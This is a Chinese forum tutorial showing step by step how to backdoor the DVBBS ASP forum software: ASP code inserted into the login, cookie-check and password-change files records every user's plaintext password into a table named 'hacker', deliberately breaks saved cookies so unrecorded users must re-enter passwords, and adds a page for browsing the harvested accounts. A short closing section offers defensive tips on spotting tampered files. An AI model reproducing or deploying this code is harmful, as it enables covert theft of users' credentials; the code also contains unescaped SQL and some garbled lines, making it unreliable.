下面我们就可以在ASP程序中使用SQL命令，把用户名和密码添加到我们刚才创建的表中去。我们只要在上面那段代码前面加上下面这两句：
‘先查询数据库，检查该用户的密码是否已经被记录，以避免重复添加
set rs=conn.execute("select user from hacker where user="&request("username")&"")
if rs.eof and rs.bof then
‘如果没有，就把用户名和密码插入到我们刚才创建的表中
sql="insert into hacker (user,pass) values ("&request("username")&","&request("password")&")"
conn.execute(sql)
rs.close
else
end if
通过上面的代码，用户每次登陆的时候，用户名和密码就都会被自动添加到我们创建的表hacker中去了。
但是，动网论坛还有个功能，就是可以利用COOKIE保存登陆信息一天，一个月，或者一年，这样就不用每次访问都要输入账号了，当然我们也不想让这一部分用户的密码漏掉，所以我们要想办法让它的COOKIE失效，这样他就必须通过我们修改过的文件登陆了。
动网论坛对COOKIE检查的代码是保存在 \INC\const.asp 文件中的，我们打开查看它的源文件。
membername=checkStr(request.cookies("aspsky")("username"))
memberclass=checkStr(request.cookies("aspsky")("userclass"))
memberword=checkStr(request.cookies("aspsky")("password"))
[$nbsp][$nbsp][$nbsp][$nbsp]这三句就是用来检查保存在用户COOKIE中的信息的，我们只要改变任意一个变量，就可让它的登陆失效。我就在第二句后面添加了下面这几句代码：
‘检查用户的账号是否已经被记录，如果没有，修改它的密码变量为用户名
set rs=conn.execute("select user from hacker where user="&membername&"")
if rs.eof and rs.bof then
memberword=checkStr(request.cookies("aspsky")("username"))
rs.close
else
‘如果已经被记录了，COOKIE验证一切正常，这样也就不会因为COOKIE彻底失效而引起用户的怀疑
memberword=checkStr(request.cookies("aspsky")("password"))
end if
记录用户账号的代码我们基本上就完成了，只要用户一登陆，他的账号就会直接加入我们的数据库中了。不过我们还漏掉了一点，就是如果用户修改了密码，我们记录的密码就过期了，我们的记录程序是无法判断密码是否被修改的。所以我们还要继续改造我们修改密码的程序modifypsw.asp
rs("userpassword")=password
rs("quesion")=quesion
rs("answer")=answer
rs.Update
上面这段代码就是更新密码的代码了。我们分析一下：只有用户登陆后才可以修改密码，既然登陆了，我们的数据库中就一定记录得他的密码，所以不管他密码改成什么，我们只需要更新一下我们的数据库就行了，所以在上面这四句代码前面，加上下面这两句：
[$nbsp][$nbsp]‘注意，这里我们之所以不用变量password,因为它是经过MD5加密的结果
sql = "update hacker set pass="&request("psw")&" where user="&membername&""
conn.execute(sql)
最后我们不可能每次打开数据库去查询用户的密码，所以我们还要自己写一个asp程序，用来通过WEB界面查询用户的密码。
下面是我自己写的asp代码，借用了动网论坛用来模糊查询的一个函数。可以直接搜索用户名获取账号或者显示全部记录了的账号。
<%
‘动网用来模糊查询的函数translate()
public function translate(sourceStr,fieldStr)
[$nbsp][$nbsp]dim sourceList
[$nbsp][$nbsp]dim resultStr
[$nbsp][$nbsp]dim i,j
[$nbsp][$nbsp]if instr(sourceStr," ")>0 then
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]dim isOperator
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]isOperator = true
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]sourceList=split(sourceStr)
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]--------------------------------------------------------
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]rem Response.Write "num:" & cstr(ubound(sourceList)) & "查询密码
[$nbsp][$nbsp] [$nbsp][$nbsp] [$nbsp][$nbsp]用户名 |
[$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]密码 |
[$nbsp][$nbsp][$nbsp][$nbsp]
| <% =rs("user") %> | [$nbsp][$nbsp][$nbsp][$nbsp][$nbsp][$nbsp]<% =rs("pass") %> | [$nbsp][$nbsp][$nbsp][$nbsp]
其它的一些思考：
如果服务器被黑客入侵，我们也必须防范论坛被修改，成为别人获取密码的工具，所以我们要考虑到黑客常用的手段。
首先是数据库，我们要随时检查数据库是否完整，而且要做到及时辈分。现在网络上流行一种把数据库后缀名改为asp，数据库中再加入一个不可删除的表，可以有效的防止数据库被别人下载。换一种角度来说，黑客很有可能把他自己的数据库文件后缀名改为asp，从而掩藏在众多的文件中。而一般没有经验的管理员是很难发现的，所以要定期对整个网站的文件进行检查，如果无故多出来的asp文件，很有可能是只背后的黑手。
黑客不仅可以放上自己的asp文件，聪明的黑客还会把自己的asp文件隐藏在已有的asp文件中。利用浏览器可以向asp文件传送querystring变量，如果asp中设定一个条件语句：if query.string(“变量”) = “” then…… 这个简单的方法可以说是防不胜防。一般的管理员由于数据库的便捷，是很少考虑到检查服务器上的文件是否被修改的。所以定期检查文件是否被修改也是非常有必要的。
| 欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/) | Powered by Discuz! 7.2 |